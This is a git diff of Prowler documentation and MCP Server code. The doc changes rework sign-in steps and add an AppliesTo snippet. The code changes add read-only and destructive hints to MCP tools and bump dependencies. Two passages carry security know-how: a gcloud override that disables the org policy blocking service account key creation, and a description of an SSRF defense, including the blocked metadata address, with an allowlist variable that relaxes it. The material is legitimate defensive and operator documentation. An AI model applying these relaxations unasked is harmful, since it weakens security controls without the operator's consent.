|
||||
|
||||
Alternatively, override the policy with the Google Cloud CLI:
|
||||
|
||||
```yaml policy.yaml
|
||||
name: projects/PROJECT_ID/policies/iam.managed.disableServiceAccountKeyCreation
|
||||
spec:
|
||||
rules:
|
||||
- enforce: false
|
||||
```
|
||||
|
||||
```console
|
||||
gcloud org-policies set-policy policy.yaml
|
||||
```
|
||||
|
||||
The constraint only blocks new key creation. Keys that already exist keep working, so enforcement can be restored once the key has been downloaded.
|
||||
|
||||
### Step 5: Configure Domain-Wide Delegation in Google Workspace
|
||||
|
||||
1. Navigate to the [Google Workspace Admin Console](https://admin.google.com)
|
||||
@@ -90,6 +123,8 @@ This JSON key grants access to your Google Workspace organization. Never commit
|
||||
https://www.googleapis.com/auth/admin.directory.user.readonly,https://www.googleapis.com/auth/admin.directory.domain.readonly,https://www.googleapis.com/auth/admin.directory.customer.readonly,https://www.googleapis.com/auth/admin.directory.orgunit.readonly,https://www.googleapis.com/auth/cloud-identity.policies.readonly,https://www.googleapis.com/auth/admin.directory.rolemanagement.readonly
|
||||
```
|
||||
|
||||
To enable the optional edition context, append `,https://www.googleapis.com/auth/apps.licensing` to the list.
|
||||
|
||||
7. Click **Authorize**
|
||||
|
||||
<Note>
|
||||
|
||||
@@ -3,6 +3,7 @@ title: 'Getting Started With Google Workspace on Prowler'
|
||||
---
|
||||
|
||||
import { VersionBadge } from "/snippets/version-badge.mdx"
|
||||
import { AppliesTo } from "/snippets/applies-to.mdx"
|
||||
|
||||
Prowler for Google Workspace audits the organization's Google Workspace environment for security misconfigurations, including super administrator account hygiene, domain settings, and more.
|
||||
|
||||
@@ -28,6 +29,8 @@ Set up authentication for Google Workspace with the [Google Workspace Authentica
|
||||
|
||||
<VersionBadge version="5.21.0" />
|
||||
|
||||
<AppliesTo />
|
||||
|
||||
### Step 1: Locate the Customer ID
|
||||
|
||||
1. Log into the [Google Workspace Admin Console](https://admin.google.com).
|
||||
@@ -42,7 +45,7 @@ The Customer ID starts with the letter "C" followed by alphanumeric characters (
|
||||
|
||||
### Step 2: Open Prowler Cloud
|
||||
|
||||
1. Go to [Prowler Cloud](https://cloud.prowler.com/) or launch [Prowler Local Server](/user-guide/tutorials/prowler-app).
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in) or [create an account](https://cloud.prowler.com/sign-up).
|
||||
2. Navigate to "Configuration" > "Providers".
|
||||
|
||||

|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
title: "Getting Started with the IaC Provider"
|
||||
---
|
||||
import { VersionBadge } from "/snippets/version-badge.mdx"
|
||||
import { AppliesTo } from "/snippets/applies-to.mdx"
|
||||
|
||||
Prowler's Infrastructure as Code (IaC) provider enables scanning of local or remote infrastructure code for security and compliance issues using [Trivy](https://trivy.dev/). This provider supports a wide range of IaC frameworks, allowing assessment of code before deployment.
|
||||
|
||||
@@ -35,13 +36,15 @@ Prowler IaC provider scans the following Infrastructure as Code configurations f
|
||||
|
||||
<VersionBadge version="5.14.0" />
|
||||
|
||||
<AppliesTo />
|
||||
|
||||
### Supported Scanners
|
||||
|
||||
Scanner selection is not configurable in Prowler Cloud. Default scanners, misconfig and secret, run automatically during each scan.
|
||||
|
||||
### Step 1: Access Prowler Cloud or Prowler Local Server
|
||||
### Step 1: Access Prowler Cloud
|
||||
|
||||
1. Navigate to [Prowler Cloud](https://cloud.prowler.com/) or launch [Prowler Local Server](/user-guide/tutorials/prowler-app)
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in) or [create an account](https://cloud.prowler.com/sign-up)
|
||||
2. Go to "Configuration" > "Providers"
|
||||
|
||||

|
||||
|
||||
@@ -3,6 +3,7 @@ title: "Getting Started with the Image Provider"
|
||||
---
|
||||
|
||||
import { VersionBadge } from "/snippets/version-badge.mdx"
|
||||
import { AppliesTo } from "/snippets/applies-to.mdx"
|
||||
|
||||
Prowler's Image provider enables comprehensive container image security scanning by integrating with [Trivy](https://trivy.dev/). This provider detects vulnerabilities, exposed secrets, and misconfigurations in container images, converting Trivy findings into Prowler's standard reporting format for unified security assessment.
|
||||
|
||||
@@ -27,13 +28,15 @@ Prowler's Image provider enables comprehensive container image security scanning
|
||||
|
||||
<VersionBadge version="5.21.0" />
|
||||
|
||||
<AppliesTo />
|
||||
|
||||
### Supported Scanners
|
||||
|
||||
Prowler Cloud does not support scanner selection. The vulnerability, secret, and misconfiguration scanners run automatically during each scan.
|
||||
|
||||
### Step 1: Access Prowler Cloud
|
||||
|
||||
1. Navigate to [Prowler Cloud](https://cloud.prowler.com/) or launch [Prowler Local Server](/user-guide/tutorials/prowler-app)
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in) or [create an account](https://cloud.prowler.com/sign-up)
|
||||
2. Navigate to "Configuration" > "Providers"
|
||||
|
||||

|
||||
|
||||
@@ -2,11 +2,15 @@
|
||||
title: 'Getting Started with Kubernetes'
|
||||
---
|
||||
|
||||
import { AppliesTo } from "/snippets/applies-to.mdx"
|
||||
|
||||
## Prowler Cloud
|
||||
|
||||
### Step 1: Access Prowler Cloud or Prowler Local Server
|
||||
<AppliesTo />
|
||||
|
||||
1. Navigate to [Prowler Cloud](https://cloud.prowler.com/) or launch [Prowler Local Server](/user-guide/tutorials/prowler-app)
|
||||
### Step 1: Access Prowler Cloud
|
||||
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in) or [create an account](https://cloud.prowler.com/sign-up)
|
||||
2. Go to "Configuration" > "Providers"
|
||||
|
||||

|
||||
|
||||
@@ -2,6 +2,8 @@
|
||||
title: 'Getting Started With Microsoft 365 on Prowler'
|
||||
---
|
||||
|
||||
import { AppliesTo } from "/snippets/applies-to.mdx"
|
||||
|
||||
<Note>
|
||||
**Government Cloud Support**
|
||||
|
||||
@@ -29,6 +31,8 @@ Set up authentication for Microsoft 365 with the [Microsoft 365 Authentication](
|
||||
|
||||
## Prowler Cloud
|
||||
|
||||
<AppliesTo />
|
||||
|
||||
### Step 1: Locate the Domain ID
|
||||
|
||||
1. Open the Entra ID portal, then search for "Domain" or go to Identity > Settings > Domain Names.
|
||||
@@ -41,7 +45,7 @@ Set up authentication for Microsoft 365 with the [Microsoft 365 Authentication](
|
||||
|
||||
### Step 2: Open Prowler Cloud
|
||||
|
||||
1. Go to [Prowler Cloud](https://cloud.prowler.com/) or launch [Prowler Local Server](/user-guide/tutorials/prowler-app).
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in) or [create an account](https://cloud.prowler.com/sign-up).
|
||||
2. Navigate to "Configuration" > "Providers".
|
||||
|
||||

|
||||
|
||||
@@ -15,7 +15,7 @@ Before you begin, make sure you have:
|
||||
3. An **API Key pair** (public and private keys) with appropriate permissions:
|
||||
- **Organization Read Only**: Provides read-only access to everything in the organization, including all projects in the organization. This permission is sufficient for most security checks.
|
||||
- **Organization Owner**: Required to audit the [Auditing configuration](https://www.mongodb.com/docs/api/doc/atlas-admin-api-v2/group/endpoint-auditing) for projects. Database auditing tracks database operations and security events, including authentication attempts, data definition language (DDL) changes, user and role modifications, and privilege grants. This configuration is essential for security monitoring, forensics, and compliance. Without **Organization Owner** permission, the `projects_auditing_enabled` check cannot retrieve the audit configuration status.
|
||||
4. Access to Prowler Cloud or Prowler Local Server, or Prowler CLI (`pip install prowler`).
|
||||
4. A [Prowler Cloud](https://cloud.prowler.com/sign-up) account, or Prowler CLI (`pip install prowler`).
|
||||
|
||||
For detailed instructions on creating API keys, see the [MongoDB Atlas authentication guide](./authentication.mdx).
|
||||
|
||||
|
||||
@@ -2,11 +2,13 @@
|
||||
title: 'Getting Started with Oracle Cloud Infrastructure (OCI)'
|
||||
---
|
||||
|
||||
import { AppliesTo } from "/snippets/applies-to.mdx"
|
||||
|
||||
Prowler supports security scanning of Oracle Cloud Infrastructure (OCI) environments. This guide will help you get started with using Prowler to audit your OCI tenancy.
|
||||
|
||||
## Prowler Cloud
|
||||
|
||||
The following steps apply to Prowler Cloud and Prowler Local Server.
|
||||
<AppliesTo />
|
||||
|
||||
### Step 1: Collect OCI Identifiers
|
||||
1. Sign in to the [OCI Console](https://cloud.oracle.com/) and open **Tenancy Details** to copy the Tenancy OCID.
|
||||
@@ -15,7 +17,7 @@ The following steps apply to Prowler Cloud and Prowler Local Server.
|
||||
4. In **Tenancy Details**, note the **Home Region** identifier (for example, `me-abudhabi-1`). Any other region the tenancy is subscribed to also works.
|
||||
|
||||
### Step 2: Access Prowler Cloud
|
||||
1. Navigate to [Prowler Cloud](https://cloud.prowler.com/) or launch [Prowler Local Server](/user-guide/tutorials/prowler-app).
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in) or [create an account](https://cloud.prowler.com/sign-up).
|
||||
2. Go to **Configuration** → **Providers** and click **Add Provider**.
|
||||

|
||||
3. Select **Oracle Cloud** and enter the **Tenancy OCID** and an optional alias, then choose **Next**.
|
||||
@@ -342,7 +344,7 @@ prowler oci \
|
||||
|
||||
**Error: "OCI credential validation failed" with `401 NotAuthenticated` on `get_tenancy`**
|
||||
- The tenancy is not subscribed to the region used for validation (by default `us-ashburn-1`)
|
||||
- In Prowler Cloud or Prowler Local Server, update the provider credentials and select the tenancy home region
|
||||
- In Prowler Cloud, update the provider credentials and select the tenancy home region
|
||||
- In Prowler CLI, set `region` in `~/.oci/config` to the home region. All subscribed regions are still scanned; `--region` also works but limits the scan to that region
|
||||
|
||||
**Error: "Invalid region"**
|
||||
|
||||
@@ -3,6 +3,7 @@ title: 'Getting Started With Okta on Prowler'
|
||||
---
|
||||
|
||||
import { VersionBadge } from "/snippets/version-badge.mdx"
|
||||
import { AppliesTo } from "/snippets/applies-to.mdx"
|
||||
|
||||
Prowler for Okta scans an Okta organization for identity and session-management misconfigurations. The provider authenticates as a service application using **OAuth 2.0 with a private-key JWT** (Client Credentials grant) — no end-user login, read-only by scope.
|
||||
|
||||
@@ -28,9 +29,11 @@ Set up authentication for Okta with the [Okta Authentication](/user-guide/provid
|
||||
|
||||
<VersionBadge version="5.28.0" />
|
||||
|
||||
<AppliesTo />
|
||||
|
||||
### Step 1: Add the Provider
|
||||
|
||||
1. Go to [Prowler Cloud](https://cloud.prowler.com/) or launch [Prowler Local Server](/user-guide/tutorials/prowler-app).
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in) or [create an account](https://cloud.prowler.com/sign-up).
|
||||
2. Navigate to "Configuration" > "Providers".
|
||||
|
||||

|
||||
|
||||
@@ -611,6 +611,40 @@ If specific checks fail due to insufficient permissions:
|
||||
Using Public Cloud credentials can limit Keystone API access, so the command above may not work. Verify permissions in the provider's control panel instead.
|
||||
</Warning>
|
||||
|
||||
### Private Keystone Endpoints
|
||||
|
||||
Most OpenStack deployments keep Keystone on an internal network, which is the normal case rather than the exception.
|
||||
|
||||
**Prowler CLI scans a private cloud with no extra configuration:**
|
||||
|
||||
```console
|
||||
export OS_AUTH_URL="https://keystone.internal:5000/v3"
|
||||
prowler openstack
|
||||
```
|
||||
|
||||
On the CLI the operator supplies the `auth_url` themselves, so there is nothing to defend against and the check below does not apply.
|
||||
|
||||
**Prowler App rejects an `auth_url` that resolves to a non-public address**, as an SSRF defense, before the SDK connects and on both the connection test and the scan. There the URL arrives from a tenant and the worker must not be used to reach the internal network it runs in. To scan a private cloud from Prowler App, declare the trusted ranges:
|
||||
|
||||
```console
|
||||
PROWLER_ALLOWED_PRIVATE_NETWORKS="10.20.0.0/16,192.168.65.254/32"
|
||||
```
|
||||
|
||||
The value is a comma-separated list of IPs and CIDRs. A resolved address inside an allowlisted range is permitted; every other non-public address stays blocked, so link-local (`169.254.169.254`), loopback and the rest of the internal network remain protected. Malformed entries are rejected, and a non-empty allowlist is logged as a relaxed security control.
|
||||
|
||||
The scan runs in the worker, not the API, so the variable has to reach the worker:
|
||||
|
||||
- **Docker Compose**: set it in the root `.env`; it reaches the worker through the shared environment file.
|
||||
- **Helm**: add it under `api.djangoConfig`, which is rendered into the API ConfigMap that the worker inherits through `envFrom`.
|
||||
|
||||
```yaml
|
||||
api:
|
||||
djangoConfig:
|
||||
PROWLER_ALLOWED_PRIVATE_NETWORKS: "10.20.0.0/16"
|
||||
```
|
||||
|
||||
Setting it only on the API container has no effect. The same variable applies to the Kubernetes and IaC providers. The Image provider has its own, `PROWLER_IMAGE_PROVIDER_ALLOWED_PRIVATE_NETWORKS`.
|
||||
|
||||
## Next Steps
|
||||
|
||||
- [Getting Started with OpenStack](/user-guide/providers/openstack/getting-started-openstack) - Run your first scan
|
||||
|
||||
@@ -3,6 +3,7 @@ title: "Getting Started With Vercel on Prowler"
|
||||
---
|
||||
|
||||
import { VersionBadge } from "/snippets/version-badge.mdx"
|
||||
import { AppliesTo } from "/snippets/applies-to.mdx"
|
||||
|
||||
Prowler for Vercel scans teams and projects for security misconfigurations, including deployment protection, environment variable exposure, WAF rules, domain configuration, team access controls, and more.
|
||||
|
||||
@@ -26,9 +27,11 @@ Set up authentication for Vercel with the [Vercel Authentication](/user-guide/pr
|
||||
|
||||
<VersionBadge version="5.23.0" />
|
||||
|
||||
<AppliesTo />
|
||||
|
||||
### Step 1: Add the Provider
|
||||
|
||||
1. Go to [Prowler Cloud](https://cloud.prowler.com/) or launch [Prowler Local Server](/user-guide/tutorials/prowler-app).
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in) or [create an account](https://cloud.prowler.com/sign-up).
|
||||
2. Navigate to "Configuration" > "Providers".
|
||||
|
||||

|
||||
|
||||
@@ -99,7 +99,7 @@ export PROWLER_API_KEY="pk_example-api-key"
|
||||
|
||||
To create an API key:
|
||||
|
||||
1. Log in to Prowler Cloud or Prowler Local Server
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in)
|
||||
2. Click **Profile** → **Account**
|
||||
3. Click **Create API Key**
|
||||
4. Provide a descriptive name and optionally set an expiration date
|
||||
|
||||
@@ -51,7 +51,7 @@ export PROWLER_API_KEY="pk_example-api-key"
|
||||
|
||||
To create an API key:
|
||||
|
||||
1. Log in to Prowler Cloud or Prowler Local Server
|
||||
1. Sign in to [Prowler Cloud](https://cloud.prowler.com/sign-in)
|
||||
2. Click **Profile** → **Account**
|
||||
3. Click **Create API Key**
|
||||
4. Provide a descriptive name and optionally set an expiration date
|
||||
|
||||
@@ -249,7 +249,7 @@ Assign administrative permissions by selecting from the following options:
|
||||
| Permission | Scope | Description |
|
||||
|------------|-------|-------------|
|
||||
| Invite and Manage Users | All | Invite new users and manage existing ones. |
|
||||
| Manage Account | All | Adjust account settings, delete users and read/manage users permissions. |
|
||||
| Manage Account | All | Adjust account settings, delete users, read/manage users permissions and configure SAML SSO. |
|
||||
| Manage Scans | All | Run and review scans, and manage [Scan Configuration](/user-guide/tutorials/prowler-app-scan-configuration) settings. |
|
||||
| Manage Providers | All | Add or modify connected providers, and attach or detach providers from a [Scan Configuration](/user-guide/tutorials/prowler-app-scan-configuration) (in addition to Manage Scans). |
|
||||
| Manage Integrations | All | Add or modify the Prowler Integrations. |
|
||||
|
||||
@@ -41,7 +41,7 @@ If the SAML configuration is removed, users who previously authenticated via SAM
|
||||
</Warning>
|
||||
### Prerequisites
|
||||
|
||||
- Administrator access to the Prowler organization is required.
|
||||
- A role with the **Manage Account** permission in the Prowler organization is required.
|
||||
- Administrative access to the SAML 2.0 compliant Identity Provider (e.g., Okta, Azure AD, Google Workspace) is necessary.
|
||||
|
||||
### Configuration Steps
|
||||
|
||||
@@ -4,22 +4,15 @@ sidebarTitle: 'Getting Started'
|
||||
---
|
||||
|
||||
import { ProviderCards } from "/snippets/provider-cards.mdx"
|
||||
import { AppliesTo } from "/snippets/applies-to.mdx"
|
||||
|
||||
<AppliesTo />
|
||||
|
||||
**Prowler Cloud** is a web application that simplifies running Prowler. This tutorial will guide you through setting up and using it.
|
||||
|
||||
**Prowler Local Server** is the self-hosted version of **Prowler Cloud**. See [Prowler product families](/getting-started/products) for every official product name.
|
||||
|
||||
## Accessing Prowler Cloud and API Documentation
|
||||
|
||||
If you are a [Prowler Cloud](https://cloud.prowler.com/sign-in) user, you can access API docs at [https://api.prowler.com/api/v1/docs](https://api.prowler.com/api/v1/docs)
|
||||
|
||||
<Note>
|
||||
**For Prowler Local Server users**
|
||||
|
||||
After [installing](/getting-started/installation/prowler-app) **Prowler Local Server**, access it at [http://localhost:3000](http://localhost:3000).
|
||||
|
||||
To view the auto-generated **Prowler API** documentation, navigate to [http://localhost:8080/api/v1/docs](http://localhost:8080/api/v1/docs). This documentation provides details on available endpoints, parameters, and responses.
|
||||
</Note>
|
||||
Sign in at [cloud.prowler.com](https://cloud.prowler.com/sign-in). The API documentation is available at [https://api.prowler.com/api/v1/docs](https://api.prowler.com/api/v1/docs).
|
||||
|
||||
## Step 1: Sign Up
|
||||
### Sign Up with Email
|
||||
@@ -85,20 +78,14 @@ For detailed instructions on configuring credentials for each provider, refer to
|
||||
<ProviderCards />
|
||||
|
||||
## Step 5: Test Connection
|
||||
After adding your cloud account credentials, click the `Check connection` button to verify that Prowler can successfully connect to your provider:
|
||||
|
||||
<img src="/images/test-connection-button.png" alt="Test Connection" width="700" />
|
||||
To verify the credentials, click the connect action at the bottom of the same step (for example, "Connect account", "Connect subscription" or "Connect project"). Prowler saves the provider and its credentials and tests the connection in that single action. When the test succeeds, the wizard moves straight to launching the scan. When it fails, the reason appears above the form and the values stay in place: click "Retry connection" to test again, or correct a field, which brings back the connect action, and click it. Neither adds the provider twice.
|
||||
|
||||
<Note>
|
||||
For a single AWS account, Prowler tests the connection as part of the `Connect account` step, so the wizard moves straight to launching the scan.
|
||||
</Note>
|
||||
|
||||
<Note>
|
||||
To delegate the AWS connection, select `I don't have access, invite a teammate` on the same step when you cannot create the IAM role or do not have the account credentials. Prowler App sends the invitation to the tenant and shows the link to share. Prowler Cloud also emails it. This option is available to users who can manage the account.
|
||||
To delegate the connection, select "I don't have access, invite a teammate" on the same step when you cannot create the credentials yourself. The option is available for every provider to users who can manage the account. Prowler Local Server adds the invitation to the tenant and shows the link to share. Prowler Cloud also emails it.
|
||||
</Note>
|
||||
|
||||
## Step 6: Scan Started
|
||||
After the connection check succeeds, save the provider and start your first scan with the `Launch Scan` button. The `Scans` section shows the scan in progress:
|
||||
Once the connection test succeeds, the wizard moves to the launch step, since the provider is already saved. To start the first scan, click "Launch scan", or "Save and launch scan" when scanning on a schedule. The `Scans` section shows the scan in progress:
|
||||
|
||||
<img src="/images/provider-added.png" alt="Start Now" width="700" />
|
||||
|
||||
@@ -177,3 +164,9 @@ Once your scan has finished, you don’t need to grab the entire ZIP—just pull
|
||||
To fetch a single compliance report via API, see the Retrieve compliance report as CSV endpoint in the Prowler API Reference. [Prowler API Reference - Retrieve compliance report as CSV](https://api.prowler.com/api/v1/docs#tag/Scan/operation/scans_compliance_retrieve)
|
||||
|
||||
</Note>
|
||||
|
||||
## Running the Same Steps on Prowler Local Server
|
||||
|
||||
**Prowler Local Server** is the self-hosted version of **Prowler Cloud**, and every step in this guide works the same way on it. See [Prowler product families](/getting-started/products) for every official product name.
|
||||
|
||||
After [installing](/getting-started/installation/prowler-app) **Prowler Local Server**, access it at [http://localhost:3000](http://localhost:3000) and the auto-generated **Prowler API** documentation at [http://localhost:8080/api/v1/docs](http://localhost:8080/api/v1/docs).
|
||||
@@ -4,6 +4,26 @@ All notable changes to the **Prowler MCP Server** are documented in this file.
|
||||
|
||||
<!-- changelog: release notes start -->
|
||||
|
||||
## [0.13.0] (Prowler v5.47.0)
|
||||
|
||||
### 🚀 Added
|
||||
|
||||
- `readOnlyHint` and `destructiveHint` annotations on every MCP tool, with mute rule and mutelist writes marked destructive [(#13196)](https://github.com/prowler-cloud/prowler/pull/13196)
|
||||
|
||||
### 🔐 Security
|
||||
|
||||
- Authlib from 1.7.2 to 1.9.1 and dnspython from 2.8.0 to 2.9.0 in the MCP Server container image, patching CVE-2026-96760 (critical), CVE-2026-114615, CVE-2026-114616 and CVE-2026-114605 [(#13186)](https://github.com/prowler-cloud/prowler/pull/13186)
|
||||
|
||||
---
|
||||
|
||||
## [0.12.4] (Prowler v5.46.0)
|
||||
|
||||
### 🔐 Security
|
||||
|
||||
- certifi from 2026.4.22 to 2026.10.19 in the MCP Server container image, dropping the emSign root CAs whose intermediate keys were compromised [(#13107)](https://github.com/prowler-cloud/prowler/pull/13107)
|
||||
|
||||
---
|
||||
|
||||
## [0.12.3] (Prowler v5.45.0)
|
||||
|
||||
### 🔐 Security
|
||||
|
||||
@@ -30,6 +30,8 @@ class AttackPathsTools(BaseTool):
|
||||
- prowler_run_attack_paths_query: Execute query and analyze attack paths
|
||||
"""
|
||||
|
||||
read_only_tools = frozenset({"run_attack_paths_query"})
|
||||
|
||||
async def list_attack_paths_scans(
|
||||
self,
|
||||
provider_id: list[str] = Field(
|
||||
|
||||
@@ -2,12 +2,16 @@ import inspect
|
||||
from abc import ABC
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
from mcp.types import ToolAnnotations
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from fastmcp import FastMCP
|
||||
|
||||
from prowler_mcp_server.lib.logger import logger
|
||||
from prowler_mcp_server.prowler_app.utils.api_client import ProwlerAPIClient
|
||||
|
||||
READ_ONLY_PREFIXES = ("get_", "list_", "search_")
|
||||
|
||||
|
||||
class BaseTool(ABC):
|
||||
"""Abstract base class for all MCP tools.
|
||||
@@ -24,6 +28,10 @@ class BaseTool(ABC):
|
||||
Attributes:
|
||||
_api_client: Singleton instance of ProwlerAPIClient for API requests
|
||||
_logger: Logger instance for structured logging
|
||||
read_only_tools: Tools that change nothing although their name does not
|
||||
start with one of READ_ONLY_PREFIXES
|
||||
destructive_tools: Tools that remove, replace or hide data although their
|
||||
name does not start with "delete_"
|
||||
|
||||
Example:
|
||||
class FindingsTools(BaseTool):
|
||||
@@ -37,6 +45,9 @@ class BaseTool(ABC):
|
||||
return response
|
||||
"""
|
||||
|
||||
read_only_tools: frozenset[str] = frozenset()
|
||||
destructive_tools: frozenset[str] = frozenset()
|
||||
|
||||
def __init__(self):
|
||||
"""Initialize the tool.
|
||||
|
||||
@@ -93,10 +104,24 @@ class BaseTool(ABC):
|
||||
|
||||
# Check if the method is a coroutine function (async)
|
||||
if inspect.iscoroutinefunction(method):
|
||||
mcp.tool(method)
|
||||
mcp.tool(method, annotations=self._annotations_for(name))
|
||||
registered_count += 1
|
||||
self.logger.debug(f"Auto-registered tool: {name}")
|
||||
|
||||
self.logger.info(
|
||||
f"Auto-registered {registered_count} tools from {self.__class__.__name__}"
|
||||
)
|
||||
|
||||
def _annotations_for(self, name: str) -> ToolAnnotations:
|
||||
"""Return the MCP hints a client reads to decide whether to ask the user.
|
||||
|
||||
Every tool states both hints: left out, the MCP spec treats a tool as
|
||||
destructive, so a client could not tell a listing from a deletion.
|
||||
"""
|
||||
if name.startswith(READ_ONLY_PREFIXES) or name in self.read_only_tools:
|
||||
return ToolAnnotations(readOnlyHint=True, destructiveHint=False)
|
||||
return ToolAnnotations(
|
||||
readOnlyHint=False,
|
||||
destructiveHint=name.startswith("delete_")
|
||||
or name in self.destructive_tools,
|
||||
)
|
||||
@@ -29,6 +29,12 @@ class MutingTools(BaseTool):
|
||||
- Managing mute rules (finding-specific muting)
|
||||
"""
|
||||
|
||||
# A wrong mute hides findings silently and for good, so it is flagged like a deletion.
|
||||
# update_mute_rule is included because re-enabling a rule mutes its findings again.
|
||||
destructive_tools = frozenset(
|
||||
{"set_mutelist", "create_mute_rule", "update_mute_rule"}
|
||||
)
|
||||
|
||||
# ===== MUTELIST TOOLS =====
|
||||
|
||||
async def _get_mutelist_raw(self) -> dict[str, Any] | None:
|
||||
|
||||
@@ -34,6 +34,8 @@ class RolesTools(BaseTool):
|
||||
- prowler_set_user_role: Set the role a user holds (idempotent)
|
||||
"""
|
||||
|
||||
destructive_tools = frozenset({"set_user_role"})
|
||||
|
||||
async def list_roles(
|
||||
self,
|
||||
page_size: int = Field(
|
||||
|
||||
@@ -14,7 +14,7 @@ docs_mcp_server = FastMCP("prowler-docs", mask_error_details=True)
|
||||
prowler_docs_search_engine = ProwlerDocsSearchEngine()
|
||||
|
||||
|
||||
@docs_mcp_server.tool()
|
||||
@docs_mcp_server.tool(annotations={"readOnlyHint": True, "destructiveHint": False})
|
||||
def search(
|
||||
term: NonBlankStr = Field(
|
||||
description="The term to search for in the documentation"
|
||||
@@ -41,7 +41,7 @@ def search(
|
||||
return prowler_docs_search_engine.search(term, page_size) # type: ignore In the hint we cannot put SearchResult type because JSON API MCP Generator cannot handle Pydantic models yet
|
||||
|
||||
|
||||
@docs_mcp_server.tool()
|
||||
@docs_mcp_server.tool(annotations={"readOnlyHint": True, "destructiveHint": False})
|
||||
def get_document(
|
||||
doc_path: NonBlankStr = Field(
|
||||
description="Path to the documentation file to retrieve. It is the same as the 'path' field of the search results. Use `prowler_docs_search` to find the path first."
|
||||
|
||||
@@ -167,7 +167,7 @@ def _explain_missing_check_file(
|
||||
|
||||
|
||||
# Security Check Tools
|
||||
@hub_mcp_server.tool()
|
||||
@hub_mcp_server.tool(annotations={"readOnlyHint": True, "destructiveHint": False})
|
||||
async def list_checks(
|
||||
providers: list[str] = Field(
|
||||
default=[],
|
||||
@@ -251,7 +251,7 @@ async def list_checks(
|
||||
return {"count": len(checks), "checks": checks_list}
|
||||
|
||||
|
||||
@hub_mcp_server.tool()
|
||||
@hub_mcp_server.tool(annotations={"readOnlyHint": True, "destructiveHint": False})
|
||||
async def semantic_search_checks(
|
||||
term: NonBlankStr = Field(
|
||||
description="Search term. Examples: 'public access', 'encryption', 'MFA', 'logging'.",
|
||||
@@ -303,7 +303,7 @@ async def semantic_search_checks(
|
||||
return {"count": len(checks), "checks": checks_list}
|
||||
|
||||
|
||||
@hub_mcp_server.tool()
|
||||
@hub_mcp_server.tool(annotations={"readOnlyHint": True, "destructiveHint": False})
|
||||
async def get_check_details(
|
||||
check_id: NonBlankStr = Field(
|
||||
description="The check ID to retrieve details for. Example: 's3_bucket_level_public_access_block'"
|
||||
@@ -441,7 +441,7 @@ async def get_check_details(
|
||||
return result
|
||||
|
||||
|
||||
@hub_mcp_server.tool()
|
||||
@hub_mcp_server.tool(annotations={"readOnlyHint": True, "destructiveHint": False})
|
||||
async def get_check_code(
|
||||
provider_id: NonBlankStr = Field(
|
||||
description="Prowler Provider ID. Example: 'aws', 'azure', 'gcp', 'kubernetes'. Use `prowler_hub_list_providers` to get available provider IDs.",
|
||||
@@ -494,7 +494,7 @@ async def get_check_code(
|
||||
}
|
||||
|
||||
|
||||
@hub_mcp_server.tool()
|
||||
@hub_mcp_server.tool(annotations={"readOnlyHint": True, "destructiveHint": False})
|
||||
async def get_check_fixer(
|
||||
provider_id: NonBlankStr = Field(
|
||||
description="Prowler Provider ID. Example: 'aws', 'azure', 'gcp', 'kubernetes'. Use `prowler_hub_list_providers` to get available provider IDs.",
|
||||
@@ -550,7 +550,7 @@ async def get_check_fixer(
|
||||
|
||||
|
||||
# Compliance Framework Tools
|
||||
@hub_mcp_server.tool()
|
||||
@hub_mcp_server.tool(annotations={"readOnlyHint": True, "destructiveHint": False})
|
||||
async def list_compliances(
|
||||
provider: list[str] = Field(
|
||||
default=[],
|
||||
@@ -610,7 +610,7 @@ async def list_compliances(
|
||||
return {"count": len(compliances), "compliances": compliances_list}
|
||||
|
||||
|
||||
@hub_mcp_server.tool()
|
||||
@hub_mcp_server.tool(annotations={"readOnlyHint": True, "destructiveHint": False})
|
||||
async def semantic_search_compliances(
|
||||
term: NonBlankStr = Field(
|
||||
description="Search term. Examples: 'CIS', 'HIPAA', 'PCI', 'GDPR', 'SOC2', 'NIST'.",
|
||||
@@ -654,7 +654,7 @@ async def semantic_search_compliances(
|
||||
return {"count": len(compliances), "compliances": compliances_list}
|
||||
|
||||
|
||||
@hub_mcp_server.tool()
|
||||
@hub_mcp_server.tool(annotations={"readOnlyHint": True, "destructiveHint": False})
|
||||
async def get_compliance_details(
|
||||
compliance_id: NonBlankStr = Field(
|
||||
description="The compliance framework ID to retrieve details for. Example: 'cis_4.0_aws'. Use `prowler_hub_list_compliances` or `prowler_hub_semantic_search_compliances` to find available compliance IDs.",
|
||||
@@ -743,7 +743,7 @@ async def get_compliance_details(
|
||||
|
||||
|
||||
# Provider Tools
|
||||
@hub_mcp_server.tool()
|
||||
@hub_mcp_server.tool(annotations={"readOnlyHint": True, "destructiveHint": False})
|
||||
async def list_providers() -> dict:
|
||||
"""List all providers supported by Prowler.
|
||||
|
||||
@@ -784,7 +784,7 @@ async def list_providers() -> dict:
|
||||
return {"count": len(providers), "providers": providers_list}
|
||||
|
||||
|
||||
@hub_mcp_server.tool()
|
||||
@hub_mcp_server.tool(annotations={"readOnlyHint": True, "destructiveHint": False})
|
||||
async def get_provider_services(
|
||||
provider_id: NonBlankStr = Field(
|
||||
description="The provider ID to get services for. Example: 'aws', 'azure', 'gcp', 'kubernetes'. Use `prowler_hub_list_providers` to get available provider IDs.",
|
||||
|
||||
@@ -74,13 +74,14 @@ extend-select = [
|
||||
]
|
||||
|
||||
[tool.uv]
|
||||
package = true
|
||||
|
||||
# Transitive pins fastmcp does not raise on its own; each carries a known HIGH.
|
||||
constraint-dependencies = [
|
||||
"authlib==1.9.1",
|
||||
"cryptography==50.0.0",
|
||||
"dnspython==2.9.0",
|
||||
"joserfc==1.6.8",
|
||||
"mcp==1.28.1",
|
||||
"pyjwt==2.14.0",
|
||||
"python-multipart==0.0.30"
|
||||
]
|
||||
package = true
|
||||
@@ -49,3 +49,36 @@ async def test_every_tool_and_parameter_is_described(mcp_root_server):
|
||||
|
||||
for tool in tools:
|
||||
assert_tool_contract(tool)
|
||||
|
